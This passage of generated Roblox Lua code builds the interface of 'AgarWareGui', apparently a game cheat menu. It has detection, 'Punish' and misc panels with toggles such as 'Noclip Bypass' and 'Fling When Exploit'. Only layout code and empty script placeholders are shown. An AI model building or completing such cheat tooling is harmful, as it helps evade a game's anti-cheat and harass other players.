[[]]; G2L["228"]["Name"] = [[GriefEnlightenTickBox]]; G2L["228"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefEnlightenRow.GriefEnlightenText G2L["229"] = Instance.new("TextLabel", G2L["226"]); G2L["229"]["BorderSizePixel"] = 0; G2L["229"]["TextSize"] = 14; G2L["229"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["229"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["229"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["229"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["229"]["BackgroundTransparency"] = 1; G2L["229"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["229"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["229"]["Text"] = [[Detect Enlighteners]]; G2L["229"]["Name"] = [[GriefEnlightenText]]; G2L["229"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.CooldownGriefRow G2L["22a"] = Instance.new("Frame", G2L["20f"]); G2L["22a"]["BorderSizePixel"] = 0; G2L["22a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["22a"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["22a"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["22a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["22a"]["Name"] = [[CooldownGriefRow]]; G2L["22a"]["LayoutOrder"] = 3; G2L["22a"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.CooldownGriefRow.CooldownGriefText G2L["22b"] = Instance.new("TextLabel", G2L["22a"]); G2L["22b"]["BorderSizePixel"] = 0; G2L["22b"]["TextSize"] = 14; G2L["22b"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["22b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["22b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["22b"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["22b"]["BackgroundTransparency"] = 1; G2L["22b"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["22b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["22b"]["Text"] = [[Cooldown]]; G2L["22b"]["Name"] = [[CooldownGriefText]]; G2L["22b"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.CooldownGriefRow.CooldownGriefChanger G2L["22c"] = Instance.new("TextBox", G2L["22a"]); G2L["22c"]["Name"] = [[CooldownGriefChanger]]; G2L["22c"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255); G2L["22c"]["TextWrapped"] = true; G2L["22c"]["TextSize"] = 14; G2L["22c"]["TextColor3"] = Color3.fromRGB(0, 124, 255); G2L["22c"]["TextScaled"] = true; G2L["22c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["22c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["22c"]["PlaceholderText"] = [[(30)]]; G2L["22c"]["Size"] = UDim2.new(0, 46, 0, 16); G2L["22c"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0); G2L["22c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["22c"]["Text"] = [[]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.CooldownGriefRow.CooldownGriefChanger.CooldownScript G2L["22d"] = Instance.new("LocalScript", G2L["22c"]); G2L["22d"]["Name"] = [[CooldownScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.CooldownGriefRow.CooldownGriefHelp G2L["22e"] = Instance.new("TextButton", G2L["22a"]); G2L["22e"]["TextSize"] = 14; G2L["22e"]["TextColor3"] = Color3.fromRGB(96, 96, 96); G2L["22e"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["22e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["22e"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["22e"]["BorderColor3"] = Color3.fromRGB(82, 82, 82); G2L["22e"]["Text"] = [[?]]; G2L["22e"]["Name"] = [[CooldownGriefHelp]]; G2L["22e"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup G2L["22f"] = Instance.new("Frame", G2L["20d"]); G2L["22f"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["22f"]["BorderMode"] = Enum.BorderMode.Middle; G2L["22f"]["Size"] = UDim2.new(0, 170, 0, 104); G2L["22f"]["Position"] = UDim2.new(0, 0, 0.4, 0); G2L["22f"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["22f"]["Name"] = [[PunishGroup]]; G2L["22f"]["LayoutOrder"] = 2; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.PunishScript G2L["230"] = Instance.new("LocalScript", G2L["22f"]); G2L["230"]["Name"] = [[PunishScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.PunishToolTip G2L["231"] = Instance.new("LocalScript", G2L["22f"]); G2L["231"]["Name"] = [[PunishToolTip]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.UIListLayout G2L["232"] = Instance.new("UIListLayout", G2L["22f"]); G2L["232"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.PunishAccentColor G2L["233"] = Instance.new("Frame", G2L["22f"]); G2L["233"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["233"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["233"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["233"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["233"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["233"]["Name"] = [[PunishAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.PunishTitle G2L["234"] = Instance.new("TextLabel", G2L["22f"]); G2L["234"]["TextWrapped"] = true; G2L["234"]["BorderSizePixel"] = 0; G2L["234"]["TextSize"] = 14; G2L["234"]["TextScaled"] = true; G2L["234"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["234"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["234"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["234"]["BackgroundTransparency"] = 0.95; G2L["234"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["234"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["234"]["Text"] = [[Punish]]; G2L["234"]["LayoutOrder"] = 1; G2L["234"]["Name"] = [[PunishTitle]]; G2L["234"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.PunishTitle.PunishMinimize G2L["235"] = Instance.new("TextButton", G2L["234"]); G2L["235"]["BorderSizePixel"] = 0; G2L["235"]["TextSize"] = 14; G2L["235"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["235"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["235"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["235"]["BackgroundTransparency"] = 1; G2L["235"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["235"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["235"]["Text"] = [[-]]; G2L["235"]["Name"] = [[PunishMinimize]]; G2L["235"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.AlertGriefRow G2L["236"] = Instance.new("Frame", G2L["22f"]); G2L["236"]["BorderSizePixel"] = 0; G2L["236"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["236"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["236"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["236"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["236"]["Name"] = [[AlertGriefRow]]; G2L["236"]["LayoutOrder"] = 2; G2L["236"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.AlertGriefRow.AlertGriefScript G2L["237"] = Instance.new("LocalScript", G2L["236"]); G2L["237"]["Name"] = [[AlertGriefScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.AlertGriefRow.AlertGriefTickBox G2L["238"] = Instance.new("TextButton", G2L["236"]); G2L["238"]["TextSize"] = 14; G2L["238"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["238"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["238"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["238"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["238"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["238"]["Text"] = [[]]; G2L["238"]["Name"] = [[AlertGriefTickBox]]; G2L["238"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.AlertGriefRow.AlertGriefText G2L["239"] = Instance.new("TextLabel", G2L["236"]); G2L["239"]["BorderSizePixel"] = 0; G2L["239"]["TextSize"] = 14; G2L["239"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["239"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["239"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["239"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["239"]["BackgroundTransparency"] = 1; G2L["239"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["239"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["239"]["Text"] = [[Alert in Chat]]; G2L["239"]["Name"] = [[AlertGriefText]]; G2L["239"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.ConfirmGriefRow G2L["23a"] = Instance.new("Frame", G2L["22f"]); G2L["23a"]["BorderSizePixel"] = 0; G2L["23a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["23a"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["23a"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["23a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["23a"]["Name"] = [[ConfirmGriefRow]]; G2L["23a"]["LayoutOrder"] = 3; G2L["23a"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.ConfirmGriefRow.ConfirmGriefScript G2L["23b"] = Instance.new("LocalScript", G2L["23a"]); G2L["23b"]["Name"] = [[ConfirmGriefScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.ConfirmGriefRow.ConfirmGriefTickBox G2L["23c"] = Instance.new("TextButton", G2L["23a"]); G2L["23c"]["TextSize"] = 14; G2L["23c"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["23c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["23c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["23c"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["23c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["23c"]["Text"] = [[]]; G2L["23c"]["Name"] = [[ConfirmGriefTickBox]]; G2L["23c"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.ConfirmGriefRow.ConfirmGriefText G2L["23d"] = Instance.new("TextLabel", G2L["23a"]); G2L["23d"]["BorderSizePixel"] = 0; G2L["23d"]["TextSize"] = 14; G2L["23d"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["23d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["23d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["23d"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["23d"]["BackgroundTransparency"] = 1; G2L["23d"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["23d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["23d"]["Text"] = [[Confirm Grief]]; G2L["23d"]["Name"] = [[ConfirmGriefText]]; G2L["23d"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.SFXGriefRow G2L["23e"] = Instance.new("Frame", G2L["22f"]); G2L["23e"]["BorderSizePixel"] = 0; G2L["23e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["23e"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["23e"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["23e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["23e"]["Name"] = [[SFXGriefRow]]; G2L["23e"]["LayoutOrder"] = 3; G2L["23e"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.SFXGriefRow.SFXGriefScript G2L["23f"] = Instance.new("LocalScript", G2L["23e"]); G2L["23f"]["Name"] = [[SFXGriefScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.SFXGriefRow.SFXGriefTickBox G2L["240"] = Instance.new("TextButton", G2L["23e"]); G2L["240"]["TextSize"] = 14; G2L["240"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["240"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["240"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["240"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["240"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["240"]["Text"] = [[]]; G2L["240"]["Name"] = [[SFXGriefTickBox]]; G2L["240"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.SFXGriefRow.SFXGriefText G2L["241"] = Instance.new("TextLabel", G2L["23e"]); G2L["241"]["BorderSizePixel"] = 0; G2L["241"]["TextSize"] = 14; G2L["241"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["241"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["241"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["241"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["241"]["BackgroundTransparency"] = 1; G2L["241"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["241"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["241"]["Text"] = [[Play Alert Sfx]]; G2L["241"]["Name"] = [[SFXGriefText]]; G2L["241"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.FlingExploitRow G2L["242"] = Instance.new("Frame", G2L["22f"]); G2L["242"]["BorderSizePixel"] = 0; G2L["242"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["242"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["242"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["242"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["242"]["Name"] = [[FlingExploitRow]]; G2L["242"]["LayoutOrder"] = 3; G2L["242"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.FlingExploitRow.FlingExploitScript G2L["243"] = Instance.new("LocalScript", G2L["242"]); G2L["243"]["Name"] = [[FlingExploitScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.FlingExploitRow.FlingExploitTickBox G2L["244"] = Instance.new("TextButton", G2L["242"]); G2L["244"]["TextSize"] = 14; G2L["244"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["244"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["244"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["244"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["244"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["244"]["Text"] = [[]]; G2L["244"]["Name"] = [[FlingExploitTickBox]]; G2L["244"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.FlingExploitRow.FlingExploitText G2L["245"] = Instance.new("TextLabel", G2L["242"]); G2L["245"]["BorderSizePixel"] = 0; G2L["245"]["TextSize"] = 14; G2L["245"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["245"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["245"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["245"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["245"]["BackgroundTransparency"] = 1; G2L["245"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["245"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["245"]["Text"] = [[Fling When Exploit]]; G2L["245"]["Name"] = [[FlingExploitText]]; G2L["245"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage G2L["246"] = Instance.new("ScrollingFrame", G2L["17"]); G2L["246"]["Visible"] = false; G2L["246"]["Active"] = true; G2L["246"]["BorderSizePixel"] = 0; G2L["246"]["Name"] = [[TCOMiscPage]]; G2L["246"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0); G2L["246"]["Size"] = UDim2.new(0, 349, 0, 233); G2L["246"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0); G2L["246"]["Position"] = UDim2.new(0.02329, 0, 0.09398, 0); G2L["246"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["246"]["ScrollBarThickness"] = 0; G2L["246"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide G2L["247"] = Instance.new("Frame", G2L["246"]); G2L["247"]["BorderSizePixel"] = 0; G2L["247"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18); G2L["247"]["Size"] = UDim2.new(0, 170, 0, 360); G2L["247"]["Position"] = UDim2.new(0, 0, 0.00439, 0); G2L["247"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["247"]["Name"] = [[TCOMiscLeftSide]]; G2L["247"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.UIListLayout G2L["248"] = Instance.new("UIListLayout", G2L["247"]); G2L["248"]["Padding"] = UDim.new(0, 7); G2L["248"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup G2L["249"] = Instance.new("Frame", G2L["247"]); G2L["249"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["249"]["BorderMode"] = Enum.BorderMode.Middle; G2L["249"]["Size"] = UDim2.new(0, 170, 0, 204); G2L["249"]["Position"] = UDim2.new(0, 0, 0, 0); G2L["249"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["249"]["Name"] = [[MiscGroup]]; G2L["249"]["LayoutOrder"] = 2; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.MiscScript G2L["24a"] = Instance.new("LocalScript", G2L["249"]); G2L["24a"]["Name"] = [[MiscScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.UIListLayout G2L["24b"] = Instance.new("UIListLayout", G2L["249"]); G2L["24b"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.MiscAccentColor G2L["24c"] = Instance.new("Frame", G2L["249"]); G2L["24c"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["24c"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["24c"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["24c"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["24c"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["24c"]["Name"] = [[MiscAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.MiscTitle G2L["24d"] = Instance.new("TextLabel", G2L["249"]); G2L["24d"]["TextWrapped"] = true; G2L["24d"]["BorderSizePixel"] = 0; G2L["24d"]["TextSize"] = 14; G2L["24d"]["TextScaled"] = true; G2L["24d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["24d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["24d"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["24d"]["BackgroundTransparency"] = 0.95; G2L["24d"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["24d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["24d"]["Text"] = [[More Stuff]]; G2L["24d"]["LayoutOrder"] = 1; G2L["24d"]["Name"] = [[MiscTitle]]; G2L["24d"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.MiscTitle.MiscMinimize G2L["24e"] = Instance.new("TextButton", G2L["24d"]); G2L["24e"]["BorderSizePixel"] = 0; G2L["24e"]["TextSize"] = 14; G2L["24e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["24e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["24e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["24e"]["BackgroundTransparency"] = 1; G2L["24e"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["24e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["24e"]["Text"] = [[-]]; G2L["24e"]["Name"] = [[MiscMinimize]]; G2L["24e"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.LJoinXLRow G2L["24f"] = Instance.new("Frame", G2L["249"]); G2L["24f"]["BorderSizePixel"] = 0; G2L["24f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["24f"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["24f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["24f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["24f"]["Name"] = [[LJoinXLRow]]; G2L["24f"]["LayoutOrder"] = 10; G2L["24f"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.LJoinXLRow.LJoinXLScript G2L["250"] = Instance.new("LocalScript", G2L["24f"]); G2L["250"]["Name"] = [[LJoinXLScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.LJoinXLRow.LJoinXLButton G2L["251"] = Instance.new("TextButton", G2L["24f"]); G2L["251"]["TextSize"] = 14; G2L["251"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["251"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["251"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["251"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["251"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["251"]["Text"] = [[Join Largest XL]]; G2L["251"]["Name"] = [[LJoinXLButton]]; G2L["251"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.NNoclipRow G2L["252"] = Instance.new("Frame", G2L["249"]); G2L["252"]["BorderSizePixel"] = 0; G2L["252"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["252"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["252"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["252"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["252"]["Name"] = [[NNoclipRow]]; G2L["252"]["LayoutOrder"] = 2; G2L["252"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.NNoclipRow.NNoclipScript G2L["253"] = Instance.new("LocalScript", G2L["252"]); G2L["253"]["Name"] = [[NNoclipScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.NNoclipRow.NNoclipTickBox G2L["254"] = Instance.new("TextButton", G2L["252"]); G2L["254"]["TextSize"] = 14; G2L["254"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["254"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["254"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["254"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["254"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["254"]["Text"] = [[]]; G2L["254"]["Name"] = [[NNoclipTickBox]]; G2L["254"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.NNoclipRow.NNoclipText G2L["255"] = Instance.new("TextLabel", G2L["252"]); G2L["255"]["BorderSizePixel"] = 0; G2L["255"]["TextSize"] = 14; G2L["255"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["255"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["255"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["255"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["255"]["BackgroundTransparency"] = 1; G2L["255"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["255"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["255"]["Text"] = [[Noclip Bypass]]; G2L["255"]["Name"] = [[NNoclipText]]; G2L["255"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.DecimalFixerRow G2L["256"] = Instance.new("Frame", G2L["249"]); G2L["256"]["BorderSizePixel"] = 0; G2L["256"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["256"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["256"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["256"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["256"]["Name"] = [[DecimalFixerRow]]; G2L["256"]["LayoutOrder"] = 2; G2L["256"]["BackgroundTransparency"] = 1; -- 